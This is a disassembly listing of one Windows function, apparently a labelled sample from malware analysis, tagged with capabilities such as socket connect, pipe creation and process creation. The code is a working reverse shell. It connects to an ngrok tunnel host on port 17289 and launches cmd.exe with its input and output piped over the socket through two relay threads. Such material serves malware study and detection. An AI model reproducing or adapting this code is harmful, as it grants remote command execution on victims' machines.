Function at 0x1400011a0
Capabilities:
Connect socket
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x240]
sub rsp, 0x340
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x230], rax
xor esi, esi
mov ecx, 0x202
lea rdx, [rbp + 0x80]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400015f6
lea rdi, [rsi - 1]
mov qword [rsp + 0x50], rsi
mov dword [rbp + 0x50], esi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
mov dword [rbp + 0x54], 2
mov dword [rbp + 0x58], 1
mov dword [rbp + 0x5c], 6
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x50]
lea rdx, str.17289
lea rcx, str.6.tcp.eu.ngrok.io
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov rbx, qword [rsp + 0x50]
test rbx, rbx
je 0x1400012a1
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400015f6
mov r8d, dword [rbx + 0x10]
mov rdx, qword [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001293
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, 0xffffffffffffffff
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x140001250
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, 0xffffffffffffffff
jne 0x1400012c2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.failed:
jmp 0x1400015cd
mov dword [rsp + 0x78], 0x18
mov dword [rbp - 0x78], 1
mov qword [rbp - 0x80], rsi
xor r9d, r9d
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1400015c0
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
je 0x1400015c0
xor r9d, r9d
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1400015c0
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
je 0x1400015c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x4c], xmm1
movups xmmword [rbp - 0x3c], xmm1
movups xmmword [rbp - 0x2c], xmm1
movups xmmword [rbp - 0x1c], xmm1
mov qword [rbp - 0xc], rax
mov dword [rbp - 4], eax
mov dword [rbp - 0x50], 0x68
mov rax, qword [rsp + 0x70]
mov qword [rbp + 0x10], rax
mov qword [rbp + 8], rax
mov rax, qword [rsp + 0x68]
mov qword [rbp], rax
psrldq xmm1, 8
movd eax, xmm1
bts eax, 8
mov dword [rbp - 0x14], eax
movups xmm0, xmmword [str.cmd.exe]
movups xmmword [rbp + 0x220], xmm0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x220]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400015c0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x18
call fcn.140001940
mov rcx, qword [rsp + 0x60]
mov qword [rax], rcx
mov qword [rax + 8], rdi
lea rcx, [0x140001020]
mov qword [rax + 0x10], rcx
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400018d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x1400015b1
mov ecx, 0x18
call fcn.140001940
mov rcx, qword [rsp + 0x58]
mov qword [rax], rcx
mov qword [rax + 8], rdi
lea rcx, [0x1400010e0]
mov qword [rax + 0x10], rcx
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0x28]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400018d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x20], rax
test rax, rax
je 0x1400015a2
cmp dword [rbp + 0x38], 0
je 0x140001596
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbp + 0x38], eax
je 0x14000158a
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x40], xmm0
xor edx, edx
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x14000157e
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x30], xmm0
cmp dword [rbp + 0x28], eax
je 0x140001596
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbp + 0x28], eax
je 0x14000158a
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x40], xmm0
xor edx, edx
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x14000157e
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x20], xmm0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
cmp dword [rbp + 0x28], 0
je 0x14000156a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x38], 0
je 0x140001577
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov eax, 1
jmp 0x1400015fb
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x28], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x38], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Error:
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400016a0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140001870]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x230]
xor rcx, rsp
call fcn.140001920
lea r11, [rsp + 0x340]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret